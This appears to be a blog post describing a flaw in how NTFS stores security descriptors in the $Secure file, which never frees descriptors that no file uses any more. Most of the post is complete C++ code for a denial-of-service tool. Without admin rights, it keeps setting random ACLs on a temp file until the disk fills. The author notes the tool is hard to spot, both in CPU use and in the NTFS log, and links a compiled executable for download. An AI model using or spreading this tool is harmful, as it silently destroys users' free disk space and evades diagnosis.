NTFS is an advanced file system that is one of the main parts of all modern Windows operating system versions. This file system supports logging, it has the ability to recover data, advanced security, file streams and many other features. However, sometimes with rich features you get problems that were absent in older file systems like FAT32.
As you may already know, NTFS allows to set security attributes for each file or directory: which users or user groups are able to read the file object and which to write; who isn't able to view the directory, and who is; how object accesses should be logged, etc. All this information is often duplicated: for example, the C:\Windows\System32
directory contains a lot of DLL files that are likely to have similar security attributes: the same users have the same access rights to each of these files. Of course, it is suboptimal to store all identifiers of these groups and users (SIDs) and security descriptors with access control lists (ACLs) for each separate file. NTFS developers came up with a smart solution and implemented it in NTFS v3.0 (Windows 2000): they moved all the information on security and access rights to a separate shared file called $Secure
, or rather, to its data stream named $Secure:$SDS
. This file is not accessible by Windows users and administrators and is a system file, which is serviced by the NTFS driver only. It is impossible to access it without special software.
How was this implemented? Very simple! For each file, instead of storing security data in the meta information of the file itself, the Security Id
field has been added to the attribute $STANDARD_INFORMATION, which is always present for every file. This field refers to the corresponding security descriptor in the $Secure
file. The $Secure
file, in turn, contains a set of structures with the descriptors used. Thus, if you create a new file with default access rights (or, for example, copy the file), then its Security Id
will be selected from the existing structures in the $Secure
file. That is, if a descriptor that your file requires is already in $Secure
, then a new one will not be created: the Security Id
of an existing descriptor will simply be written to your file metadata. It saves some space: instead of copying the potentially large descriptor, only the Security Id
reference (4 bytes) is copied. If you decide to change the security descriptor for the file by specifying a non-standard, previously unused descriptor, then a new entry with a new Security Id
will be created in the $Secure
file, and then this new Security Id
will be written to your file metadata.
And here's the catch. Let’s think about what happens if you now delete the file (or change its security descriptor). Ideally, a record created exclusively for your file should be deleted from $Secure
, because no file object uses it anymore. However, NTFS does not track which files or directories utilize the security descriptor. NTFS does not even count how many files or directories refer to a descriptor! Maybe we are wrong and missed something? Let's take a closer look at the structure of entries in $Secure:$SDS
:
Offset | Size | Description | 0x00 |
4 |
Security Descriptor Hash | 0x04 |
4 |
Security Id |
0x08 |
8 |
Offset of this entry from the beginning of the file | 0x10 |
4 |
Size of this entry | 0x14 |
V |
Security descriptor | 0x14 + V |
- |
Alignment |
---|
No, there is definitely nothing here that could indicate which files and directories use the descriptor (or at least how many file objects use it). This page tells about the $Secure:$SDH
and $Secure:$SII
indices, but there is nothing useful there either.
So, the file system driver has no choice but to leave all the security descriptors in the $Secure
file until better days (in case any file starts using some of them again). And this space will be taken up on your partition, and you will not be able to free it easily. You can defragment $MFT
or even $Secure
using an utility like Contig, but, as far as I know, there is no software that would remove unnecessary descriptors from . Wow, there is such software - CHKDSK (although it requires administrator privileges to run)! Let's imagine how this could be implemented:$Secure
- First we need to list ALL the file objects on the disk partition and save all the detected
Security Ids
somewhere in RAM. - Next, we need to remove all the descriptors that we didn't find in the first stage from
$Secure
(from all its streams and indices). - This may cause some other descriptors to move, and their
Security Id
s may change. So, we need to correctSecurity Id
s of the affected files so that they refer to the correct descriptors. Moreover, we'll need to fix descriptor offsets in$Secure
for the descriptors which have moved.
This is a lot of work that cannot be done simply and quickly. Most likely, you will need to unmount the disk partition and perform the cleanup when no one else uses it. In a word, it is difficult to implement, especially for an inexperienced user.
This immediately raises the following question: can an evil hacker bloat the $Secure
file to such an extent that it takes up all the free space on the hard drive? Arranging system DoS in such clever way? As it turns out, he/she can, even without administrator privileges! Limited user rights are enough for this!
Let's write the code that does this. We'll create an empty file in the temporary directory accessible to us, and we'll constantly change its security descriptor. We will randomly generate each new descriptor so that it does not coincide with the existing ones. This will make the NTFS driver write our descriptors to $Secure
, but it will not delete them, gradually eating up more and more space on the user's disk. The user will notice that the free space on the disk has disappeared, but it would be impossible to find any new files that occupy it. The user will not be able to free up space without reformatting the disk (or running CHKDSK with correct options), too!
Of course, we'll code in C++. Let's start by generating a random SID
:
1 2 3 4 5 6 |
std::wstring generate_random_sid(std::mt19937& rng) { static std::uint32_t index = 1; static std::uniform_int_distribution<std::mt19937::result_type> dist; return L"S-1-5-21-" + std::to_wstring(index++) + L"-" + std::to_wstring(dist(rng)); } |
This code generates a random string of the S-1-5-21-X-Y
format. This is a typical identifier (SID
) format for a user or a group of users. It may not exist, but NTFS doesn’t care much (after all, you could copy a file from somewhere else, where an identifier exists). Now we’ll write a function that converts this string to the SID
structure and adds its access attributes to the EXPLICIT_ACCESS_W structure:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
//To free memory automatically using sid_guard_t = std::unique_ptr<std::remove_pointer_t<PSID>, decltype(&::LocalFree)>; sid_guard_t add_random_sid(EXPLICIT_ACCESS_W& ea, const std::wstring& sid_string) { PSID sid{}; //Convert SID from string format if (!::ConvertStringSidToSidW(sid_string.c_str(), &sid)) throw std::runtime_error("No SID"); sid_guard_t sid_guard(sid, &::LocalFree); //Add fake permissions for it: //Read is allowed, without inheritance, for the user //with the generated SID: ea.grfAccessMode = GRANT_ACCESS; ea.grfAccessPermissions = READ_CONTROL; ea.grfInheritance = NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = reinterpret_cast<LPWCH>(sid); //Return the converted SID return std::move(sid_guard); } |
Now all we have to do is to write a function that fills the array of structures EXPLICIT_ACCESS_W and returns an array of their corresponding SID
s. We need to store all generated SID
s in memory until we add them to the file security descriptor.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
//"Array" is an array of EXPLICIT_ACCESS_W structures. template<typename Array> std::vector<sid_guard_t> fill_random_sids(Array& arr) { std::vector<sid_guard_t> guards; guards.reserve(std::size(arr)); //Random number generator std::mt19937 rng; rng.seed(static_cast<std::mt19937::result_type>(std::time(nullptr))); //For each element of the array: std::for_each(std::begin(arr), std::end(arr), [&rng, &guards] (auto& elem) { //Generate SID, convert it and add its generated //access rights to the EXPLICIT_ACCESS_W structure. guards.emplace_back(add_random_sid(elem, generate_random_sid(rng))); }); //Return the SIDs corresponding to the generated access rights return std::move(guards); } |
Now let's write a couple of helper functions that will return the writable temporary directory path and prepare a temporary file in it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
//Returns the path to the writable temporary directory: std::wstring get_temp_path() { std::wstring temp_path; //First we get the required buffer size //to store the name of the temporary directory: auto buffer_length = ::GetTempPathW(0, &temp_path[0]); if (!buffer_length) throw std::runtime_error("No temp path"); temp_path.resize(buffer_length); //And now we read the name of the directory //to the prepared buffer: buffer_length = ::GetTempPathW(buffer_length, &temp_path[0]); if (buffer_length >= temp_path.size()) throw std::runtime_error("No temp path"); //Trim extra null bytes at the end: temp_path.resize(buffer_length); return temp_path; } //Returns the temporary file name: std::wstring get_temp_file_name(const std::wstring& path) { std::wstring temp_file_name; //Prepare the buffer temp_file_name.resize(MAX_PATH + 1); if (!::GetTempFileNameW(path.c_str(), L"test", 0, &temp_file_name[0])) throw std::runtime_error("No temp file name"); //Trim extra null bytes at the end: temp_file_name.resize(temp_file_name.find_last_not_of(L'\0') + 1); return temp_file_name; } |
Next, we need the function to open a file by its name. We will then add random security descriptors to this file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
//To automatically close the file: using handle_guard_t = std::unique_ptr<std::remove_pointer_t<HANDLE>, decltype(&::CloseHandle)>; handle_guard_t create_file(const std::wstring& name) { //Create a file with the given name: auto handle = ::CreateFileW(name.c_str(), GENERIC_ALL, FILE_SHARE_READ, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (handle == INVALID_HANDLE_VALUE) throw std::runtime_error("Unable to create file"); return handle_guard_t(handle, &::CloseHandle); } |
Now we have everything we need to write the program core, which does everything that we planned. Let's write the main program function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) try { //Create a file in the temporary directory: auto handle = create_file(get_temp_file_name(get_temp_path())); //We will add 500 SIDs at a time to its security descriptor: std::vector<EXPLICIT_ACCESS_W> ea(500); while (true) { //Create random descriptors and fill in their access rights: const auto sid_guards = fill_random_sids(ea); //Create a security descriptor: PACL acl{}; if (ERROR_SUCCESS != ::SetEntriesInAclW(static_cast<ULONG>(ea.size()), ea.data(), nullptr, &acl)) { throw std::runtime_error("No ACL"); } //To free memory automatically: std::unique_ptr<std::remove_pointer<PACL>::type, HLOCAL(WINAPI*)(HLOCAL)> acl_guard(acl, &::LocalFree); //Set the security descriptor for our file, //replacing the previous one. if (ERROR_SUCCESS != ::SetSecurityInfo(handle.get(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, nullptr, nullptr, acl, nullptr)) { throw std::runtime_error("Unable to set security info"); } //And so on infinitely... } return 0; } catch (const std::exception& e) { //If there was an error, display it and exit the program. ::MessageBoxA(nullptr, e.what(), "Error", MB_ICONERROR | MB_OK); return -1; } |
That's the whole code - only 130 lines (the full version download link is at the end of the post).
Now let’s try to run this program on a test virtual machine with Windows 10. Here is what I had before the program started:
And here is what the partition looks like 20 minutes since program start:
About 3.5 gigabytes of free space just evaporated. The partition fills quite slowly, but this happens quietly and, most importantly, does not require any admin privileges! The program utilizes about 20% of a single processor core. On a four or eight-core processor, it will be completely invisible among other running programs. In my test, the program was launched with limited user rights. Now, let's take a look at the $Secure
file using OS Forensics software:
For comparison, here is what I had before my program had been launched:
Impressive! Missing 3.5 gigabytes are used by the $Secure
file. As a bonus, this can slow down the file system, as the number of entries in $Secure
has increased significantly. You can also look at the output of the WinDirStat program, which shows the total size of files and directories (by the way, a handy tool for deleting old unneeded large files). As you can see, it reports 46.8 GB is occupied (screenshots were taken after OS Forensics installation, so another chunk of space was used by this software):
Windows at the same time believes that 49 GB is actually occupied:
And here are the security attributes of our temporary file:
In conclusion, let's think about what happens if the user is experienced enough and tries to figure out, what's going on. The user can try to study the NTFS log by opening it, for example, using the NTFS Journal Viewer utility by Orion Forensics.
Unfortunately, the user will be disappointed. There are only three suspicious entries regarding some temporary file. There are no records about thousands of changes to the file security descriptor, there are only a couple of them. It's possible to find them in a huge number of other entries, only if the user knows the file name in advance. Otherwise, it’s like to search for a needle in a haystack.
So what do we have? The developers tried to optimize NTFS, but they made a flaw, which ultimately can lead to slow system DoS even when the intruder doesn't possess administrator privileges.
Download the source code and the compiled exe file: NTFS fucker (archive password: kaimi).